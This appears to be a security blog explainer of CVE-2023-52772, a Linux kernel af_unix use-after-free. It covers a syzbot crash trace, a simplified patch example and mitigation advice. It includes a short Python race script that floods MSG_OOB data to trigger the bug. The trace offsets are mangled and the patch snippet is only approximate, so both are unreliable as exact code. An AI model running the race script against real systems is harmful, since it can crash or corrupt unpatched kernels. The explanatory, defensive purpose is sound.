CVE-2023-52772 is a use-after-free vulnerability in the Linux kernel, found in the handling of UNIX sockets (af_unix). This bug was introduced and resolved in the code managing urgent out-of-band (OOB) data in stream sockets. Simply put, when two threads interact with the same UNIX socket, one might free some memory while the other is still using it, leading to security problems, potential privilege escalation, data leaks, or system crashes.

What Happened?

The root problem lies in the unix_stream_read_actor() function. When urgent data arrives at a UNIX socket, it is stored in a buffer (skb). If, in a multi-threaded scenario, one thread is reading from the socket while another is modifying or freeing that buffer, a race condition may occur. One thread might free the buffer while another is still using it, resulting in a _use-after-free_ bug.

The system crash found by syzbot

This bug was discovered by syzbot, a kernel fuzzing project, which reported this crash:

BUG: KASAN: slab-use-after-free in unix_stream_read_actor+xa7/xc net/unix/af_unix.c:2866
Read of size 4 at addr ffff88801f3b9cc4 by task syz-executor107/5297
...
unix_stream_read_actor+xa7/xc net/unix/af_unix.c:2866
unix_stream_recv_urg net/unix/af_unix.c:2587 [inline]
unix_stream_read_generic+x19a5/x248 net/unix/af_unix.c:2666
unix_stream_recvmsg+x189/x1b net/unix/af_unix.c:2903

Why Did This Happen?

After unlocking the socket, a pointer (u->oob_skb) may point to freed memory. There's a small time window between releasing the socket lock and operating on this pointer where another thread may come in, modify, or even destroy the buffer. Therefore, the code should have _added a reference to the buffer_ to prevent it from being freed while in use.

The Fix

The patch, committed upstream, fixed this by incrementing the reference count for the SKB (socket buffer) before releasing the lock, and decrementing it after use.

Patch Example

skb = u->oob_skb;
if (skb) {
    skb_get(skb);     // Correct: take a reference!
    spin_unlock(&u->readlock);

    // Work with skb here

    kfree_skb(skb);   // Correct: drop the reference safely
    return copied;
}

Before this patch, skb_get() was missing, meaning skb might be freed elsewhere.

How Could It Be Exploited?

A local attacker could attempt to exploit this by opening and rapidly sending/receiving urgent data on UNIX sockets using multiple threads or processes, racing operations to trigger memory corruption.

While direct code execution from this specific bug is hard (because urgent data is rarely used), a kernel crash or leak of sensitive data from adjacent memory is possible.

A proof of concept could be like this (illustrative, not weaponized)

import os, socket, threading

def send_urgent(sock):
    for _ in range(10000):
        sock.send(b'\x00', socket.MSG_OOB)

def recv_urgent(sock):
    for _ in range(10000):
        try:
            sock.recv(1, socket.MSG_OOB)
        except Exception:
            pass

server, client = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
t1 = threading.Thread(target=send_urgent, args=(client,))
t2 = threading.Thread(target=recv_urgent, args=(server,))
t1.start()
t2.start()
t1.join()
t2.join()

Warning: This won’t necessarily crash a modern/patched kernel, but on a vulnerable one, it increases the chance of hitting race conditions and memory corruption.

Real World Impact

- Who is affected: All Linux systems running vulnerable kernel versions (6.6 and possibly prior, check your distro's kernel changelogs).
- Severity: Moderate to High for local DoS; harder but possible for data leaks or privilege escalation depending on exploitation skill and system specifics.

How to Mitigate

- Patch your kernel: Make sure your Linux distribution has this fix applied. Distributions pulled the patch into their kernels quickly after public reporting.
- Upstream fix commit
- RedHat advisory
- Debian security tracker
- Limit untrusted access: Prevent untrusted local users from running code if you cannot patch immediately.

Original References

- Syzbot crash report thread
- Commit fixing the bug
- Linux kernel mailing list discussion

Summary

CVE-2023-52772 is a typical use-after-free flaw that can easily occur in highly concurrent code like the Linux networking stack. The fix was straightforward—increment the reference count for data buffers before releasing a lock. This bug serves as a reminder about the importance of careful memory management in concurrent kernels.

Upgrade your systems as soon as possible to stay safe and avoid accidental crashes or more serious attacks.


*If you want more technical breakdowns like this, follow security advisories or syzbot reports to stay one step ahead!*

Timeline

Published on: 05/21/2024 16:15:16 UTC
Last modified on: 05/29/2024 05:17:05 UTC